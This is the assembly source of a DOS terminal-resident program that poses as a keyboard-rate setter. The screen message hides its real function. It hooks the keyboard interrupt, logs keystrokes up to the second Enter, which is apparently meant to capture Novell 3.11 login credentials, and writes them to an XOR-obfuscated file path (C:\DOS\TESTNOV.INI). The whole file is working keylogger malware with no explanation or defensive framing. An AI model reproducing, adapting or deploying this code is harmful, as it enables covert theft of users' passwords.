        .MODEL tiny
        .CODE
	org 100h

BufSize equ 30

begin:  jmp Init

DtaFile db 'C'  xor 0EEh
        db ':'  xor 0EEh
        db '\'  xor 0EEh
        db 'D'  xor 0EEh
        db 'O'  xor 0EEh
        db 'S'  xor 0EEh
        db '\'  xor 0EEh
        db 'T'  xor 0EEh
        db 'E'  xor 0EEh
        db 'S'  xor 0EEh
        db 'T'  xor 0EEh
        db 'N'  xor 0EEh
        db 'O'  xor 0EEh
        db 'V'  xor 0EEh
        db '.'  xor 0EEh
        db 'I'  xor 0EEh
        db 'N'  xor 0EEh
        db 'I'  xor 0EEh
        db  0

Ms      db  'Keyboard sets 30 repeations per second',10,13,'$'

Tit     db  10  xor 0EEh
        db  13  xor 0EEh
        db 'E'  xor 0EEh
        db 'n'  xor 0EEh
        db 't'  xor 0EEh
        db 'e'  xor 0EEh
        db 'r'  xor 0EEh
        db 'i'  xor 0EEh
        db 'n'  xor 0EEh
        db 'g'  xor 0EEh
        db ' '  xor 0EEh
        db 'N'  xor 0EEh
        db 'o'  xor 0EEh
        db 'v'  xor 0EEh
        db 'e'  xor 0EEh
        db 'l'  xor 0EEh
        db 'l'  xor 0EEh
        db ' '  xor 0EEh
        db '3'  xor 0EEh
        db '.'  xor 0EEh
        db '1'  xor 0EEh
        db '1'  xor 0EEh
        db '.'  xor 0EEh
        db '.'  xor 0EEh
        db '.'  xor 0EEh
        db  10  xor 0EEh
        db  13  xor 0EEh
        db  0

MesLen  equ $-Tit

OldInt  dd      ?

Handle  dw	0

Cyc	dw	0

Symb	db	0

Buf	db	BufSize dup (?)

EntPrs  db      0

Int16   PROC

	push ds
	push cs
	pop  ds
	mov  byte ptr symb, ah
	pop  ds

        pushf
        call cs:OldInt

        pushf
	push ax
	push bx
        push cx
        push dx
        push si
	push di
	push bp
        push ds
        push es

        push cs
        pop  ds

        cmp  EntPrs, 0FFh
        jne   met
        jmp   ext
met:

        cmp  byte ptr symb, 0
        je   doit
        cmp  byte ptr symb, 10h
        je   doit
        jmp  ext
doit:
        cmp  al, 10
        jb   ext
        cmp  al, 'z'
        ja   ext
        cmp  al, 13
        jne  noent
        inc  EntPrs
noent:
        cmp  al, 0E0h
        je   ext
        mov  bx, offset buf
        add  bx, word ptr cyc
        mov  byte ptr [bx], al
        inc  word ptr cyc
        cmp  EntPrs, 2
        jb   ext

writeb:
        mov  ax, 3D01h
        mov  dx, offset DtaFile
        int  21h
        jc   ext
        mov  Handle, ax
        mov  ax, 4202h
        xor  cx, cx
        xor  dx, dx
        mov  bx, Handle
        int  21h
        mov  ah, 40h
        mov  cx, cyc
        mov  dx, offset buf
        mov  bx, Handle
        int  21h
        mov  ah, 3Eh
        mov  bx, Handle
        int  21h
        mov  word ptr cyc, 0
        mov  byte ptr EntPrs, 0FFh

	mov dx, word ptr OldInt
        push ds
        mov  ax, word ptr OldInt+2
        mov  ds, ax
	mov ax, 2516h
        int  21h
        pop ds

ext:

        pop  es
        pop  ds
        pop  bp
        pop  di
        pop  si
        pop  dx
        pop  cx
        pop  bx
        pop  ax
        popf

        push ax
	push bp
        push sp
        pop  bp
        pushf
        pop  ax
        mov word ptr ss:[bp+8], ax
        pop  bp
        pop  ax

        iret

Int16   ENDP

Unscr   proc    near

        mov     bx, sp
        les     di, dword ptr ss:[bx+2]
        mov     bx, 0
nnext:  mov     al, byte ptr es:[bx+di]
        cmp     al, 0
        je      ndone
        xor     al, 0EEh
        mov     byte ptr es:[bx+di], al
        inc     bx
        jmp     nnext
ndone:  ret     4

Unscr   endp


Init    PROC

        push cs
        pop ds

        mov  ax, 0305h
        xor  bx, bx
        int  16h
        mov  ah, 9
        mov  dx, offset Ms
        int  21h
        push ds
        mov  ax, offset DtaFile
        push ax
        call Unscr
        push ds
        mov  ax, offset Tit
        push ax
        call Unscr

	mov ax, 3516h
	int 21h
        mov word ptr OldInt, bx
        mov word ptr OldInt+2, es

        mov  ax, 3D01h
        mov  dx, offset DtaFile
        int  21h
        jc   notsr
        mov  Handle, ax
        mov  ax, 4202h
        xor  cx, cx
        xor  dx, dx
        mov  bx, Handle
        int  21h
        mov  ah, 40h
        mov  cx, MesLen
        mov  dx, offset Tit
        mov  bx, Handle
        int  21h
        mov  ah, 3Eh
        mov  bx, Handle
        int  21h

	mov ax, 2516h
	mov dx, offset Int16
	int 21h

        mov dx, offset Init
        int 27h

notsr:  .EXIT

Init    ENDP

        END begin